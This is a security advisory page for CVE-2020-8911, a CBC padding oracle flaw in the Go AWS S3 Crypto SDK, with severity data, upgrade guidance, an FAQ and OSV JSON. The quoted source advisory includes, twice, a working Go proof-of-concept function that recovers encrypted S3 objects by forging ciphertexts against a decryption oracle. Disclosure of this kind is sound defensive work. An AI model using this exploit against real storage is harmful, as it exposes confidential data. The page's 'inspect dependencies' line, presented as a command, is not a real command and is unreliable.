CVE-2020-8911: Github.com/aws/aws sdk go CBC Padding Oracle Issue Vulnerability

MODERATE
Advisory Identifier: GHSA-f5pg-7wfw-84q9
CVSS 5.6
CWE-327
Published
Advisory Summary

CVE-2020-8911 is a MODERATE (CVSS 5.6) cbc padding oracle issue vulnerability (CWE-327: Use of a Broken or Risky Cryptographic Algorithm) affecting Github.com/aws/aws sdk go libraries in the Go ecosystem. The issue involves cbc padding oracle issue in aws s3 crypto sdk for golang. Remediation is available by upgrading affected packages to version 1.34.0.

CVE-2020-8911 at a Glance

CVE Identifier CVE-2020-8911
GHSA Identifier GHSA-f5pg-7wfw-84q9
Severity MODERATE
CVSS v3.1 Base Score 5.6
CWE Classification CWE-327: Use of a Broken or Risky Cryptographic Algorithm
Affected Product Github.com/aws/aws sdk go
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 5.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Local (AV:L)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2020-8911

To remediate this vulnerability, upgrade all affected Github.com/aws/aws sdk go dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/aws/aws-sdk-go fixed: 1.34.0
Upgrade github.com/aws/aws-sdk-go to 1.34.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/aws/aws-sdk-go

How to Check if You Are Affected

To determine whether your application is affected by CVE-2020-8911, inspect your project dependencies for Github.com/aws/aws sdk go:

inspect dependencies for github.com/aws/aws-sdk-go

Analyze the terminal output to locate any version of Github.com/aws/aws sdk go in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.34.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-327: Use of a Broken or Risky Cryptographic Algorithm, where the product uses a broken or risky cryptographic algorithm or protocol. In Github.com/aws/aws sdk go, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The golang AWS S3 Crypto SDK is impacted by an issue that can result in loss of confidentiality and message forgery. The attack requires write access to the bucket in question, and that the attacker has access to an endpoint that reveals decryption failures (without revealing the plaintext) and that when encrypting the CBC option was chosen as content cipher. ### Risk/Severity The vulnerability pose insider risks/privilege escalation risks, circumventing KMS controls for stored data. ### Impact This advisory describes the plaintext revealing vulnerabilities in the golang AWS S3 Crypto SDK, with a similar issue in the non "strict" versions of C++ and Java S3 Crypto SDKs being present as well. V1 prior to 1.34.0 of the S3 crypto SDK, allows users to encrypt files with AES-CBC, without computing a MAC on the data. Note that there is an alternative option of using AES-GCM, which is used in the examples of the documentation and not affected by this vulnerability, but by CVE-2020-8912. This exposes a padding oracle vulnerability: If the attacker has write access to the S3 bucket and can observe whether or not an endpoint with access to the key can decrypt a file (without observing the file contents that the endpoint learns in the process), they can reconstruct the plaintext with (on average) `128*length(plaintext)` queries to the endpoint, by exploiting CBC's ability to manipulate the bytes of the next block and PKCS5 padding errors. This issue is fixed in V2 of the API, by disabling encryption with CBC mode for new files. Old files, if they have been encrypted with CBC mode, remain vulnerable until they are reencrypted with AES-GCM. ### Mitigation Using the version 2 of the S3 crypto SDK will not produce vulnerable files anymore. Old files remain vulnerable to this problem if they were originally encrypted with CBC mode. ### Proof of concept A [Proof of concept](https://github.com/sophieschmieg/exploits/tree/master/aws_s3_crypto_poc) is available in a separate github repository. This particular issue is described in [padding_oracle_exploit.go](https://github.com/sophieschmieg/exploits/blob/master/aws_s3_crypto_poc/exploit/padding_oracle_exploit.go): ```golang func PaddingOracleExploit(bucket string, key string, input *OnlineAttackInput) (string, error) { data, header, err := input.S3Mock.GetObjectDirect(bucket, key) if alg := header.Get("X-Amz-Meta-X-Amz-Cek-Alg"); alg != "AES/CBC/PKCS5Padding" { return "", fmt.Errorf("Algorithm is %q, not CBC!", alg) } length, err := strconv.Atoi(header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Length")) padding := byte(len(data) - length) plaintext := make([]byte, length) for i := length - 1; i >= 0; i-- { newLength := 16 * (i/16 + 1) dataCopy := make([]byte, newLength) headerCopy := header.Clone() copy(dataCopy, data) // Set Padding newPadding := byte(newLength - i) for j := i + 1; j < newLength; j++ { var oldValue byte if j >= length { oldValue = padding } else { oldValue = plaintext[j] } dataCopy, headerCopy, err = xorData(oldValue^newPadding, j, dataCopy, headerCopy) if err != nil { return "", err } } // Guess for c := 0; c < 256; c++ { dataCopy, headerCopy, err := xorData(byte(c)^newPadding, i, dataCopy, headerCopy) input.S3Mock.PutObjectDirect(bucket, key+"guess", dataCopy, headerCopy) if input.Oracle(bucket, key+"guess") { plaintext[i] = byte(c) break } dataCopy, headerCopy, err = xorData(byte(c)^newPadding, i, dataCopy, headerCopy) } } return string(plaintext), nil } ```

CVE-2020-8911 Affected Github.com/aws/aws sdk go Versions

1 component(s)
Fixed Versions:
1.34.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/aws/aws-sdk-go
Go
< 1.34.0
1.34.0

References

Frequently Asked Questions

What is CVE-2020-8911?
CVE-2020-8911 is a security vulnerability in Github.com/aws/aws sdk go involving CBC padding oracle issue in AWS S3 Crypto SDK for golang under CWE-327: Use of a Broken or Risky Cryptographic Algorithm.
Which Github.com/aws/aws sdk go versions are affected?
Affected versions include releases prior to 1.34.0 across affected packages: github.com/aws/aws-sdk-go.
What version fixes CVE-2020-8911?
Upgrading to 1.34.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/aws/aws-sdk-go affected?
Yes, github.com/aws/aws-sdk-go is affected in releases prior to 1.34.0. Upgrade your dependency to 1.34.0 or later.
What is the CVSS score of CVE-2020-8911?
CVE-2020-8911 has a CVSS v3.1 base score of 5.6 (MODERATE) with vector string CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2020-8911?
CVE-2020-8911 is classified under CWE-327: Use of a Broken or Risky Cryptographic Algorithm (The product uses a broken or risky cryptographic algorithm or protocol.).
How can I check Go dependencies for CVE-2020-8911?
Run the dependency tree command: 'inspect dependencies for github.com/aws/aws-sdk-go'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f5pg-7wfw-84q9",
  "modified" : "2024-05-20T21:15:15Z",
  "published" : "2022-02-11T23:26:26Z",
  "aliases" : [ "CVE-2020-8911" ],
  "summary" : "CBC padding oracle issue in AWS S3 Crypto SDK for golang",
  "details" : "### Summary\n\nThe golang AWS S3 Crypto SDK is impacted by an issue that can result in loss of confidentiality and message forgery. The attack requires write access to the bucket in question, and that the attacker has access to an endpoint that reveals decryption failures (without revealing the plaintext) and that when encrypting the CBC option was chosen as content cipher.\n\n### Risk/Severity\n\nThe vulnerability pose insider risks/privilege escalation risks, circumventing KMS controls for stored data.\n\n### Impact\n\nThis advisory describes the plaintext revealing vulnerabilities in the golang AWS S3 Crypto SDK, with a similar issue in the non \"strict\" versions of C++ and Java S3 Crypto SDKs being present as well.\n\nV1 prior to 1.34.0 of the S3 crypto SDK, allows users to encrypt files with AES-CBC, without computing a MAC on the data. Note that there is an alternative option of using AES-GCM, which is used in the examples of the documentation and not affected by this vulnerability, but by CVE-2020-8912.\n\nThis exposes a padding oracle vulnerability: If the attacker has write access to the S3 bucket and can observe whether or not an endpoint with access to the key can decrypt a file (without observing the file contents that the endpoint learns in the process), they can reconstruct the plaintext with (on average) `128*length(plaintext)` queries to the endpoint, by exploiting CBC's ability to manipulate the bytes of the next block and PKCS5 padding errors.\n\nThis issue is fixed in V2 of the API, by disabling encryption with CBC mode for new files. Old files, if they have been encrypted with CBC mode, remain vulnerable until they are reencrypted with AES-GCM.\n\n### Mitigation\n\nUsing the version 2 of the S3 crypto SDK will not produce vulnerable files anymore. Old files remain vulnerable to this problem if they were originally encrypted with CBC mode.\n\n### Proof of concept\n\nA [Proof of concept](https://github.com/sophieschmieg/exploits/tree/master/aws_s3_crypto_poc) is available in a separate github repository.\n\nThis particular issue is described in [padding_oracle_exploit.go](https://github.com/sophieschmieg/exploits/blob/master/aws_s3_crypto_poc/exploit/padding_oracle_exploit.go):\n\n```golang\nfunc PaddingOracleExploit(bucket string, key string, input *OnlineAttackInput) (string, error) {\n\tdata, header, err := input.S3Mock.GetObjectDirect(bucket, key)\n\tif alg := header.Get(\"X-Amz-Meta-X-Amz-Cek-Alg\"); alg != \"AES/CBC/PKCS5Padding\" {\n\t\treturn \"\", fmt.Errorf(\"Algorithm is %q, not CBC!\", alg)\n\t}\n\tlength, err := strconv.Atoi(header.Get(\"X-Amz-Meta-X-Amz-Unencrypted-Content-Length\"))\n\tpadding := byte(len(data) - length)\n\tplaintext := make([]byte, length)\n\tfor i := length - 1; i >= 0; i-- {\n\t\tnewLength := 16 * (i/16 + 1)\n\t\tdataCopy := make([]byte, newLength)\n\t\theaderCopy := header.Clone()\n\t\tcopy(dataCopy, data)\n\t\t// Set Padding\n\t\tnewPadding := byte(newLength - i)\n\t\tfor j := i + 1; j < newLength; j++ {\n\t\t\tvar oldValue byte\n\t\t\tif j >= length {\n\t\t\t\toldValue = padding\n\t\t\t} else {\n\t\t\t\toldValue = plaintext[j]\n\t\t\t}\n\t\t\tdataCopy, headerCopy, err = xorData(oldValue^newPadding, j, dataCopy, headerCopy)\n\t\t\tif err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t}\n\t\t// Guess\n\t\tfor c := 0; c < 256; c++ {\n\t\t\tdataCopy, headerCopy, err := xorData(byte(c)^newPadding, i, dataCopy, headerCopy)\n\t\t\tinput.S3Mock.PutObjectDirect(bucket, key+\"guess\", dataCopy, headerCopy)\n\t\t\tif input.Oracle(bucket, key+\"guess\") {\n\t\t\t\tplaintext[i] = byte(c)\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tdataCopy, headerCopy, err = xorData(byte(c)^newPadding, i, dataCopy, headerCopy)\n\t\t}\n\t}\n\treturn string(plaintext), nil\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/aws/aws-sdk-go"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.34.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/google/security-research/security/advisories/GHSA-f5pg-7wfw-84q9"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2020-8911"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/aws/aws-sdk-go/pull/3403"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/aws/aws-sdk-go/commit/1e84382fa1c0086362b5a4b68e068d4f8518d40e"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/aws/aws-sdk-go/commit/ae9b9fd92af132cfd8d879809d8611825ba135f4"
  }, {
    "type" : "WEB",
    "url" : "https://aws.amazon.com/blogs/developer/updates-to-the-amazon-s3-encryption-client/?s=09"
  }, {
    "type" : "WEB",
    "url" : "https://bugzilla.redhat.com/show_bug.cgi?id=1869800"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/aws/aws-sdk-go"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sophieschmieg/exploits/tree/master/aws_s3_crypto_poc"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/vuln/GO-2022-0646"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-327" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2021-05-24T17:57:15Z",
    "nvd_published_at" : null
  }
}